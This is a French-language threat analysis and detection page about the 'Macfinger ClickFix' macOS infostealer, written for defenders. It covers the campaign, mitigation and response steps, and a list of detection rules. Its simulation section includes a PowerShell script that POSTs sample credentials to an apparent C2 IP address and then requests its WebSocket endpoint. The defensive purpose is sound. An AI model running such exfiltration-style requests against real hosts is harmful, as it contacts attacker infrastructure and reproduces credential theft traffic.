Campagne Macfinger ClickFix : Analyse du Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
La campagne Macfinger ClickFix livre un voleur d’informations macOS non identifié via de fausses pages de vérification CAPTCHA. L’attaque utilise des scripts shell pour récupérer des binaires Mach-O spécifiques à l’architecture pour les systèmes Intel ou Apple Silicon. Une fois lancé, le malware demande de larges autorisations système et exfiltre des informations sensibles via des requêtes HTTP POST et une communication basée sur WebSocket.
Enquête
L’enquête s’est concentrée sur une infection observée sur un hôte macOS 27.0. Les analystes ont retracé le chargeur initial de script shell, la récupération subséquente des binaires Mach-O, et les modèles de communication de commande et de contrôle du malware. La recherche a également différencié la menace du voleur AMOS précédemment documenté en se basant sur les différences de persistance, de collecte de données et de comportement d’exfiltration.
Atténuation
Les utilisateurs devraient éviter d’interagir avec des invites CAPTCHA suspectes basées sur le navigateur ou de lancer des commandes terminal inattendues fournies par des sites web. Les organisations doivent surveiller les modifications non autorisées des LaunchAgents et les téléchargements suspects écrits dans le /Library/Caches répertoire. Limiter les privilèges administratifs peut également réduire la capacité du malware à obtenir les autorisations système requises pour l’exécution.
Réponse
Lorsqu’une activité liée à Macfinger est détectée, isolez le point d’extrémité macOS affecté du réseau pour empêcher toute exfiltration supplémentaire de données. Effectuez une analyse criminelle numérique des /Library/LaunchAgents/ and /Library/Caches/ répertoires pour identifier les artefacts de persistance. Consultez les journaux système pour les demandes d’autorisations non autorisées et l’accès à des emplacements sensibles tels que Documents, Bureau, et Téléchargements.
Flux d’attaque
Détections
Commande et contrôle suspect par demande DNS de domaine de premier niveau inhabituel (TLD) (via dns)
Manipulation possible de chaînes codées en Base64 [MacOS] (via cmdline)
Tentative d’exécution suspecte de Curl [MacOS] (via cmdline)
IOC (HashSha256) à détecter : Un coup d’œil plus attentif au malware de la campagne Macfinger ClickFix
IOC (SourceIP) à détecter : Un coup d’œil plus attentif au malware de la campagne Macfinger ClickFix
IOC (DestinationIP) à détecter : Un coup d’œil plus attentif au malware de la campagne Macfinger ClickFix
Détecter le trafic C2 et l’exfiltration de données Macfinger ClickFix [Trafic HTTP]
Détection d’infection de la campagne Macfinger ClickFix [création de processus macOS]
Exécution de la simulation
-
Narration de l’attaque & Commandes : L’adversaire a réussi à obtenir un accès initial et tente d’exfiltrer des identifiants collectés. Pour éviter la détection par les filtres web standard, ils utilisent un agent personnalisé basé sur Go. L’agent est programmé pour envoyer une requête POST contenant les identifiants utilisateur au point de terminaison C2
/api/credentials. Ensuite, il établit une connexion WebSocket à/api/tpour recevoir des instructions supplémentaires. La simulation utilisera PowerShell pour usurper ces caractéristiques HTTP spécifiques (IP, User-Agent et URI) pour déclencher la règle de détection. -
Script de test de régression :
# Simulation du trafic C2 de Macfinger $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Démarrage de la simulation Macfinger..." -ForegroundColor Cyan # 1. Simulate Data Exfiltration via HTTP POST Write-Host "[+] Tentative d'exfiltration de données (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] La requête a échoué (prévu si l'IP n'est pas accessible): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Simulation Command & Control via WebSocket (Simulated via HTTP GET to the specific URI) # Note : True WebSocket handshakes require specific libraries, but for network telemetry, # the initial GET request to the URI is the primary trigger. Write-Host "[+] Tentative de handshake WebSocket (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] La requête a échoué (prévu si l'IP n'est pas accessible): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Simulation terminée." -ForegroundColor Cyan -
Commandes de nettoyage :
# Aucun artefact persistant n'est créé par ce script de simulation. # Assurez-vous qu'aucune connexion active à l'IP cible ne reste. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false